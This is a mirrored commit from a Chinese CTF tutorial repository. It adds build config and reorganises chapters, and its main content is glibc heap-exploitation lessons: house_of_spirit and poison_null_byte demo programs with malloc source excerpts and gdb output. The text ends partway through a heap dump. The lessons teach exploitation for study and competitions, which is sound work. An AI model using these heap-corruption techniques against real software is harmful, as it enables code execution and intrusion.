mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
Merge branch 'master' of https://github.com/firmianay/CTF-All-In-One
This commit is contained in:
commit
1982eb0ffd
17
.travis.yml
17
.travis.yml
@ -0,0 +1,17 @@
|
||||
sudo: required
|
||||
dist: xenial
|
||||
before_install:
|
||||
- unalias cp
|
||||
- sudo apt-get update
|
||||
- sudo apt-get -y install texlive-full
|
||||
- sudo apt-get -y install fonts-roboto # install fonts
|
||||
- wget https://noto-website-2.storage.googleapis.com/pkgs/NotoSansCJKsc-hinted.zip
|
||||
- unzip NotoSansCJKsc-hinted.zip
|
||||
- cp NotoSansCJKsc-Bold.otf ./CTF-All-In-One/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf
|
||||
- cp NotoSansCJKsc-Regular.otf ./CTF-All-In-One/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf
|
||||
- sudo fc-cache -fv
|
||||
- sudo rm -rf *.otf *.zip
|
||||
|
||||
script:
|
||||
- cd tex
|
||||
- xelatex -output-directory build ./main.tex
|
@ -1,3 +1,5 @@
|
||||
2018-01-15:200 次提交成就达成
|
||||
2018-01-13:开始尝试使用 Latex 写作
|
||||
2017-12-25:开始写 Crypto 部分
|
||||
2017-12-22:250 star 成就达成
|
||||
2017-12-15:中文名“CTF从入门到放弃”
|
||||
|
@ -76,5 +76,6 @@
|
||||
| 章节 | 作者 | 进度 |
|
||||
| --------------- | --------- | ---- |
|
||||
| 2.6_idapro.md | Sky3 | 未完成 |
|
||||
| 开始使用Latex | Sky3 | 未完成 |
|
||||
| 2.12_burpsuite.md | phantom0301 | 未完成 |
|
||||
| 1.4.*.md | phantom0301 | 未完成 |
|
||||
|
@ -69,7 +69,9 @@
|
||||
- [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
- [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
- [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
|
||||
- [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
|
||||
- [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md)
|
||||
- [3.4 Web](doc/3.4_web.md)
|
||||
- [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
|
||||
- [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)
|
||||
@ -90,6 +92,7 @@
|
||||
|
||||
- [五、高级篇](doc/5_advanced.md)
|
||||
- [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
||||
- [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
|
||||
- [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
|
||||
- [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
|
||||
- [5.4 符号执行](doc/5.4_symbolic.md)
|
||||
|
@ -60,7 +60,9 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
* [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
* [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
* [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
* [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
|
||||
* [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
|
||||
* [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md)
|
||||
* [3.4 Web](doc/3.4_web.md)
|
||||
* [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
|
||||
* [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)
|
||||
@ -79,6 +81,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [4.10 给 PE 文件打 patch](doc/4.10_patch_pe.md)
|
||||
* [五、高级篇](doc/5_advanced.md)
|
||||
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
||||
* [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
|
||||
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
|
||||
* [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
|
||||
* [5.4 符号执行](doc/5.4_symbolic.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# 3.3.5 堆利用
|
||||
# 3.3.5 Linux 堆利用(上)
|
||||
|
||||
- [Linux 堆简介](#linux-堆简介)
|
||||
- [how2heap](#how2heap)
|
||||
@ -7,14 +7,6 @@
|
||||
- [fastbin_dup_into_stack](#fastbin_dup_into_stack)
|
||||
- [unsafe_unlink](#unsafe_unlink)
|
||||
- [house_of_spirit](#house_of_spirit)
|
||||
- [poison_null_byte](#poison_null_byte)
|
||||
- [house_of_lore](#house_of_lore)
|
||||
- [overlapping_chunks](#overlapping_chunks)
|
||||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||||
- [house_of_force](#house_of_force)
|
||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||
- [house_of_einherjar](#house_of_einherjar)
|
||||
- [house_of_orange](#house_of_orange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
@ -206,6 +198,17 @@ Allocating 3 buffers.
|
||||
```
|
||||
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||||
|
||||
libc-2.23 中对 double-free 的检查过程如下:
|
||||
```c
|
||||
/* Check that the top of the bin is not the record we are going to add
|
||||
(i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
{
|
||||
errstr = "double free or corruption (fasttop)";
|
||||
goto errout;
|
||||
}
|
||||
```
|
||||
|
||||
三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
@ -475,11 +478,11 @@ int main() {
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
@ -672,7 +675,7 @@ gef➤ x/gx chunk0_ptr
|
||||
```
|
||||
成功达成修改任意地址的成就。
|
||||
|
||||
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:
|
||||
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查,以对抗单字节溢出的问题。补丁如下:
|
||||
```diff
|
||||
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
||||
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
||||
@ -757,11 +760,11 @@ gef➤ x/40gx 0x602010-0x10
|
||||
int *a[10];
|
||||
int i;
|
||||
for (i = 0; i < 7; i++) {
|
||||
a[i] = malloc(0x80);
|
||||
}
|
||||
for (i = 0; i < 7; i++) {
|
||||
free(a[i]);
|
||||
}
|
||||
a[i] = malloc(0x80);
|
||||
}
|
||||
for (i = 0; i < 7; i++) {
|
||||
free(a[i]);
|
||||
}
|
||||
```
|
||||
```
|
||||
gef➤ p &chunk0_ptr
|
||||
@ -798,22 +801,203 @@ allocated by thread T0 here:
|
||||
```
|
||||
|
||||
#### house_of_spirit
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#### poison_null_byte
|
||||
int main() {
|
||||
malloc(1);
|
||||
|
||||
#### house_of_lore
|
||||
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
|
||||
unsigned long long *a, *b;
|
||||
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
|
||||
|
||||
#### overlapping_chunks
|
||||
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
|
||||
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
|
||||
|
||||
#### overlapping_chunks_2
|
||||
fake_chunks[1] = 0x20; // the size
|
||||
fake_chunks[5] = 0x1234; // nextsize
|
||||
|
||||
#### house_of_force
|
||||
fake_chunks[2] = 0x4141414141414141LL;
|
||||
fake_chunks[6] = 0x4141414141414141LL;
|
||||
|
||||
#### unsorted_bin_attack
|
||||
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
|
||||
a = &fake_chunks[2];
|
||||
|
||||
#### house_of_einherjar
|
||||
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||
free(a);
|
||||
|
||||
#### house_of_orange
|
||||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
|
||||
b = malloc(0x10);
|
||||
fprintf(stderr, "malloc(0x10): %p\n", b);
|
||||
b[0] = 0x4242424242424242LL;
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_spirit.c
|
||||
$ ./a.out
|
||||
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
|
||||
The first one: 0x7ffc782dae00
|
||||
The second one: 0x7ffc782dae20
|
||||
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
|
||||
Freeing the overwritten pointer.
|
||||
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
|
||||
malloc(0x10): 0x7ffc782dae10
|
||||
```
|
||||
house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。
|
||||
|
||||
首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:
|
||||
```
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1
|
||||
0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
gef➤ x/gx &a
|
||||
0x7fffffffdca0: 0x0000000000000000
|
||||
```
|
||||
伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`(即大于16),小于 `av->system_mem`(即小于128kb),才能绕过对 next chunk 大小的检查。
|
||||
|
||||
libc-2.23 中这些检查代码如下:
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
|
||||
[...]
|
||||
p = mem2chunk (mem);
|
||||
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
[...]
|
||||
munmap_chunk (p);
|
||||
return;
|
||||
}
|
||||
|
||||
ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址
|
||||
_int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用
|
||||
}
|
||||
```
|
||||
`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
|
||||
```c
|
||||
/* conversion from malloc headers to user pointers, and back */
|
||||
|
||||
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
|
||||
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
|
||||
```
|
||||
当 `NON_MAIN_ARENA` 为零时返回 main arena:
|
||||
```c
|
||||
/* find the heap and corresponding arena for a given ptr */
|
||||
|
||||
#define heap_for_ptr(ptr) \
|
||||
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
|
||||
#define arena_for_chunk(ptr) \
|
||||
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
|
||||
```
|
||||
这样,程序就顺利地进入了 `_int_free` 函数:
|
||||
```c
|
||||
static void
|
||||
_int_free (mstate av, mchunkptr p, int have_lock)
|
||||
{
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
|
||||
[...]
|
||||
size = chunksize (p);
|
||||
|
||||
[...]
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
|
||||
#if TRIM_FASTBINS
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
#endif
|
||||
) {
|
||||
|
||||
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
[...]
|
||||
errstr = "free(): invalid next size (fast)";
|
||||
goto errout;
|
||||
}
|
||||
|
||||
[...]
|
||||
set_fastchunks(av);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
[...]
|
||||
do
|
||||
{
|
||||
[...]
|
||||
p->fd = old2 = old;
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
|
||||
```
|
||||
其中下面的宏函数用于获得 next chunk:
|
||||
```c
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
|
||||
然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。
|
||||
```
|
||||
gef➤ x/gx &a
|
||||
0x7fffffffdca0: 0x00007fffffffdcc0
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed]
|
||||
0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
|
||||
```
|
||||
|
||||
这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。
|
||||
```
|
||||
gef➤ x/10gx &fake_chunks
|
||||
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk
|
||||
0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000
|
||||
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
|
||||
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
|
||||
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
|
||||
gef➤ x/gx &b
|
||||
0x7fffffffdca8: 0x00007fffffffdcc0
|
||||
```
|
||||
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。
|
||||
|
||||
加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk:
|
||||
```
|
||||
$ gcc -fsanitize=address -g house_of_spirit.c
|
||||
$ ./a.out
|
||||
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
|
||||
The first one: 0x7fffa61d6c00
|
||||
The second one: 0x7fffa61d6c20
|
||||
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
|
||||
Freeing the overwritten pointer.
|
||||
=================================================================
|
||||
==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
|
||||
#0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||||
#1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
|
||||
#2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
916
doc/3.3.6_heap_exploit_2.md
Normal file
916
doc/3.3.6_heap_exploit_2.md
Normal file
@ -0,0 +1,916 @@
|
||||
# 3.3.6 Linux 堆利用(中)
|
||||
|
||||
- [how2heap](#how2heap)
|
||||
- [poison_null_byte](#poison_null_byte)
|
||||
- [house_of_lore](#house_of_lore)
|
||||
- [overlapping_chunks](#overlapping_chunks)
|
||||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||
|
||||
## how2heap
|
||||
#### poison_null_byte
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *c, *b1, *b2, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
|
||||
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
|
||||
|
||||
b = (uint8_t*) malloc(0x100);
|
||||
c = (uint8_t*) malloc(0x80);
|
||||
fprintf(stderr, "b: %p\n", b);
|
||||
fprintf(stderr, "c: %p\n", c);
|
||||
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
*(size_t*)(b+0xf0) = 0x100;
|
||||
fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
|
||||
|
||||
// deal with tcache
|
||||
// int *k[10], i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// k[i] = malloc(0x100);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(k[i]);
|
||||
// }
|
||||
free(b);
|
||||
uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
|
||||
fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||
|
||||
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
|
||||
b1 = malloc(0x80);
|
||||
memset(b1, 'A', 0x80);
|
||||
fprintf(stderr, "We malloc 'b1': %p\n", b1);
|
||||
fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||
fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
|
||||
|
||||
b2 = malloc(0x40);
|
||||
memset(b2, 'A', 0x40);
|
||||
fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
|
||||
|
||||
// deal with tcache
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// k[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(k[i]);
|
||||
// }
|
||||
free(b1);
|
||||
free(c);
|
||||
fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
|
||||
|
||||
d = malloc(0x110);
|
||||
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
|
||||
|
||||
fprintf(stderr, "b2 content:%s\n", b2);
|
||||
memset(d, 'B', 0xb0);
|
||||
fprintf(stderr, "New b2 content:%s\n", b2);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g poison_null_byte.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0xabb010
|
||||
'real' size of 'a': 0x18
|
||||
b: 0xabb030
|
||||
c: 0xabb140
|
||||
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
|
||||
|
||||
After free(b), c.prev_size: 0x110
|
||||
We overflow 'a' with a single null byte into the metadata of 'b'
|
||||
b.size: 0x100
|
||||
|
||||
Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
|
||||
We malloc 'b1': 0xabb030
|
||||
c.prev_size: 0x110
|
||||
fake c.prev_size: 0x70
|
||||
|
||||
We malloc 'b2', our 'victim' chunk: 0xabb0c0
|
||||
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
|
||||
Finally, we allocate 'd', overlapping 'b2': 0xabb030
|
||||
|
||||
b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。
|
||||
|
||||
首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。
|
||||
|
||||
首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下:
|
||||
```c
|
||||
/*
|
||||
------------------------- malloc_usable_size -------------------------
|
||||
*/
|
||||
static size_t
|
||||
musable (void *mem)
|
||||
{
|
||||
mchunkptr p;
|
||||
if (mem != 0)
|
||||
{
|
||||
p = mem2chunk (mem);
|
||||
|
||||
[...]
|
||||
if (chunk_is_mmapped (p))
|
||||
return chunksize (p) - 2 * SIZE_SZ;
|
||||
else if (inuse (p))
|
||||
return chunksize (p) - SIZE_SZ;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
```c
|
||||
/* check for mmap()'ed chunk */
|
||||
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
|
||||
/* Get size, ignoring use bits */
|
||||
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
|
||||
```
|
||||
所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。
|
||||
|
||||
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:
|
||||
```
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]
|
||||
0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603040: 0x0000000000000000 0x0000000000000000
|
||||
0x603050: 0x0000000000000000 0x0000000000000000
|
||||
0x603060: 0x0000000000000000 0x0000000000000000
|
||||
0x603070: 0x0000000000000000 0x0000000000000000
|
||||
0x603080: 0x0000000000000000 0x0000000000000000
|
||||
0x603090: 0x0000000000000000 0x0000000000000000
|
||||
0x6030a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030f0: 0x0000000000000000 0x0000000000000000
|
||||
0x603100: 0x0000000000000000 0x0000000000000000
|
||||
0x603110: 0x0000000000000000 0x0000000000000000
|
||||
0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
|
||||
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||
0x603140: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
|
||||
→ Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
最关键的一步,通过溢出漏洞覆写 chunk b 的数据:
|
||||
```
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]
|
||||
0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603040: 0x0000000000000000 0x0000000000000000
|
||||
0x603050: 0x0000000000000000 0x0000000000000000
|
||||
0x603060: 0x0000000000000000 0x0000000000000000
|
||||
0x603070: 0x0000000000000000 0x0000000000000000
|
||||
0x603080: 0x0000000000000000 0x0000000000000000
|
||||
0x603090: 0x0000000000000000 0x0000000000000000
|
||||
0x6030a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6030f0: 0x0000000000000000 0x0000000000000000
|
||||
0x603100: 0x0000000000000000 0x0000000000000000
|
||||
0x603110: 0x0000000000000000 0x0000000000000000
|
||||
0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
|
||||
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||
0x603140: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
|
||||
→ Chunk(addr=0x603030, size=0x100, flags=)
|
||||
```
|
||||
这时,根据我们上一篇文字中讲到的计算方法:
|
||||
- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100`
|
||||
- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100`
|
||||
|
||||
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。
|
||||
|
||||
接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:
|
||||
```
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b
|
||||
0x603030: 0x4141414141414141 0x4141414141414141
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x4141414141414141
|
||||
0x603060: 0x4141414141414141 0x4141414141414141
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x4141414141414141 0x4141414141414141
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk
|
||||
0x6030c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030d0: 0x4141414141414141 0x4141414141414141
|
||||
